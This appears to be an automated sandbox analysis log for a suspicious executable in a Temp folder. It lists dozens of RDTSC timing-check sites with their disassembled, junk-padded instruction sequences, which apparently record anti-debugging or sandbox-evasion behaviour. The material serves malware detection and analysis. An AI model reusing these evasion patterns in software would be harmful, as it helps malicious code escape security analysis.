Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 6FBE1E second address: 6FBE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70CBF3 second address: 70CC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F60A4E98EF6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70CE9D second address: 70CECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F60A4BE8BE5h 0x0000000b jl 00007F60A4BE8BD6h 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F60A4BE8BDBh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70D414 second address: 70D41B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70D41B second address: 70D420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70D420 second address: 70D43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F04h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70EF6A second address: 70EF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70EF6E second address: 70EF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70EF74 second address: 70EF79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70EF79 second address: 70EF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60A4E98EFFh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F038 second address: 70F03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F03F second address: 70F045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F045 second address: 70F049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F049 second address: 70F07E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F60A4E98F01h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F60A4E98F05h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F07E second address: 70F088 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F60A4BE8BDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F088 second address: 70F095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F095 second address: 70F099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F099 second address: 70F09D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F09D second address: 70F144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F60A4BE8BDAh 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F60A4BE8BE2h 0x00000015 pop eax 0x00000016 pushad 0x00000017 jng 00007F60A4BE8BD8h 0x0000001d mov edx, ebx 0x0000001f and edx, 04A4517Bh 0x00000025 popad 0x00000026 push 00000003h 0x00000028 mov edx, 26BED800h 0x0000002d push 00000000h 0x0000002f pushad 0x00000030 mov esi, edi 0x00000032 call 00007F60A4BE8BE7h 0x00000037 push edi 0x00000038 pop esi 0x00000039 pop ebx 0x0000003a popad 0x0000003b push 00000003h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F60A4BE8BD8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000015h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 jmp 00007F60A4BE8BE4h 0x0000005c or dword ptr [ebp+122D22F4h], eax 0x00000062 push 7D23B3A1h 0x00000067 push eax 0x00000068 push edx 0x00000069 jng 00007F60A4BE8BD8h 0x0000006f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F144 second address: 70F149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F149 second address: 70F18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 42DC4C5Fh 0x00000010 and esi, 4CE17B4Bh 0x00000016 lea ebx, dword ptr [ebp+12444E66h] 0x0000001c call 00007F60A4BE8BE9h 0x00000021 adc cx, 3208h 0x00000026 pop edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jl 00007F60A4BE8BDCh 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F226 second address: 70F29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 add dword ptr [esp], 067178B3h 0x0000000d sbb dh, 00000012h 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F60A4E98EF8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c or dword ptr [ebp+122D2401h], ecx 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D2401h], ebx 0x0000003a push 00000003h 0x0000003c mov edi, dword ptr [ebp+122D2B9Ch] 0x00000042 push AD317768h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a jmp 00007F60A4E98F00h 0x0000004f jmp 00007F60A4E98F05h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F29F second address: 70F2EA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F60A4BE8BD8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 12CE8898h 0x00000013 mov dword ptr [ebp+122D23D6h], ebx 0x00000019 lea ebx, dword ptr [ebp+12444E6Fh] 0x0000001f clc 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F60A4BE8BE1h 0x00000026 push eax 0x00000027 pushad 0x00000028 pushad 0x00000029 ja 00007F60A4BE8BD6h 0x0000002f jmp 00007F60A4BE8BDCh 0x00000034 popad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F2EA second address: 70F2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F3C1 second address: 70F3D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F60A4BE8BDDh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F3D6 second address: 70F461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 73F8F1EEh 0x00000011 stc 0x00000012 xor dword ptr [ebp+122D38DAh], edx 0x00000018 push 00000003h 0x0000001a mov dword ptr [ebp+122D3093h], edx 0x00000020 mov edi, eax 0x00000022 push 00000000h 0x00000024 mov ch, 40h 0x00000026 push 00000003h 0x00000028 push 51D3848Ah 0x0000002d jmp 00007F60A4E98F06h 0x00000032 add dword ptr [esp], 6E2C7B76h 0x00000039 jmp 00007F60A4E98F07h 0x0000003e lea ebx, dword ptr [ebp+12444E7Ah] 0x00000044 mov dx, 3A0Eh 0x00000048 xchg eax, ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F60A4E98F03h 0x00000052 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F461 second address: 70F467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F467 second address: 70F46D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 70F46D second address: 70F483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60A4BE8BDAh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F415 second address: 72F425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F5BA second address: 72F5CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F9CD second address: 72F9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F9D7 second address: 72F9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F9DF second address: 72F9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F60A4E98EFCh 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F9F8 second address: 72F9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72F9FC second address: 72FA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jp 00007F60A4E98F00h 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72FB97 second address: 72FBB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F60A4BE8BE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72FBB2 second address: 72FBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72FBB8 second address: 72FBBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 72FBBC second address: 72FBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F60A4E98EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 7237FB second address: 723801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 723801 second address: 723807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 723807 second address: 72380C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 730706 second address: 73070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 733E05 second address: 733E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 733E0B second address: 733E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 735348 second address: 73534C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73534C second address: 735365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F60A4E98EFFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 6FD997 second address: 6FD99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 6FD99F second address: 6FD9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 7387A3 second address: 7387AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 7387AC second address: 7387B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73F0AA second address: 73F0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F60A4BE8BD8h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007F60A4BE8BDCh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73F0C7 second address: 73F0CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E5AE second address: 73E5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E5B4 second address: 73E5BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F60A4E98EF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E731 second address: 73E735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E735 second address: 73E739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E843 second address: 73E849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E849 second address: 73E851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E851 second address: 73E85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E85A second address: 73E866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F60A4E98EF6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73E866 second address: 73E8C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE8h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F60A4BE8BE6h 0x00000015 jc 00007F60A4BE8BD6h 0x0000001b jmp 00007F60A4BE8BDFh 0x00000020 jmp 00007F60A4BE8BE3h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EB64 second address: 73EB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F60A4E98F02h 0x0000000b jnl 00007F60A4E98EF6h 0x00000011 jnc 00007F60A4E98EF6h 0x00000017 pushad 0x00000018 jbe 00007F60A4E98EF6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EB84 second address: 73EB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EB91 second address: 73EBDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F00h 0x00000007 jbe 00007F60A4E98EF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F60A4E98F0Ah 0x00000018 jne 00007F60A4E98F05h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73ED7F second address: 73ED98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jbe 00007F60A4BE8BD8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F60A4BE8BD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73ED98 second address: 73ED9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73ED9C second address: 73EDA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EDA0 second address: 73EDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EF19 second address: 73EF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EF1F second address: 73EF2D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60A4E98EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EF2D second address: 73EF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 73EF31 second address: 73EF35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 741D04 second address: 741D28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F60A4BE8BD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 741D28 second address: 741D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 7423E0 second address: 7423E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 7429A6 second address: 7429AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
